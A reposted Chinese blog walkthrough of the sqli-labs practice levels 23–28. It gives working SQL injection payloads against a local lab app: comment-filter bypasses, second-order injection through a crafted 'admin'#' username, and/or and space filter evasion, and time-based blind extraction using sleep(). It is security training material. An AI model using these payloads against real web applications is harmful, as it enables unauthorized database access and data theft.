sql注入学习,sqli-labs(23~28)全解

欢迎来我博客阅读~传送门

## task23

屏蔽了# –注释符号,只能闭合绕过

http://127.0.0.1/sqli-labs/Less-23/?id=1′ and ‘1’=’1

## task24

二次注入

注册一个账户 admin’# 密码admin

登录,然后修改密码,修改的实际上是admin的密码

问题语句

《sql注入学习,sqli-labs(23~28)全解》

注册时候的过滤也有问题,才会导致可以写入非法字符

我在源代码里加了一句注册成功输出sql语句,注册成功后显示

《sql注入学习,sqli-labs(23~28)全解》

而实际数据库中添加的数据却是,然后修改密码时便构成了二次注入

《sql注入学习,sqli-labs(23~28)全解》

## task25

过滤了and和or

绕过一:http://127.0.0.1/sqli-labs/Less-25/?id=2′ aandnd 1=1 %23

绕过二:http://127.0.0.1/sqli-labs/Less-25/?id=2′ %26%26 1=1 %23

其中%26是&的url编码

## task25.a

http://127.0.0.1/sqli-labs/Less-25a/?id=2 aandnd 1=1%23

## task26

过滤了很多,and和or可以继续用&&和||替代

然后使用引号闭合,这题主要是要绕过对空格的过滤

《sql注入学习,sqli-labs(23~28)全解》

网上有人说用%a0替换空格,试了下不行。据说是windows系统的缘故?

这里给出另外一种思路,利用1或者0秒的sleep时间来判断

http://localhost/sqli-labs/Less-26/?id=1′ %26%26sleep(ascii(mid(database(),1,1))=116)%26%26’1’=’1

《sql注入学习,sqli-labs(23~28)全解》
《sql注入学习,sqli-labs(23~28)全解》

## task26.a

屏蔽了26的字符,还给$id加了一对括号

http://localhost/sqli-labs/Less-26a/?id=1′)%26%26sleep(ascii(mid(database(),1,1))=115)%26%26’1’=(‘1

## task27

直接用26关的payload就可以

http://localhost/sqli-labs/Less-27/?id=1′ %26%26sleep(ascii(mid(database(),1,1))=115) %26%26’1’=’1

## task27.a

单引号变成了双引号

http://localhost/sqli-labs/Less-27a/?id=1″%26%26sleep(ascii(mid(database(),1,1))=116) %26%26″1″=”1

## task28

$id被单引号和括号包围,如何判断出来的?

?id=1’报错

?id=1′ and ‘1’=’1

?id=1”不报错

http://localhost/sqli-labs/Less-28/?id=1′)%26%26sleep(ascii(mid(database(),1,1))=115) %26%26’1’=(‘1

## task28.a

用28的就可以

    原文作者:luckyQAQ
    原文地址: https://www.jianshu.com/p/e674c3fe4fce
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞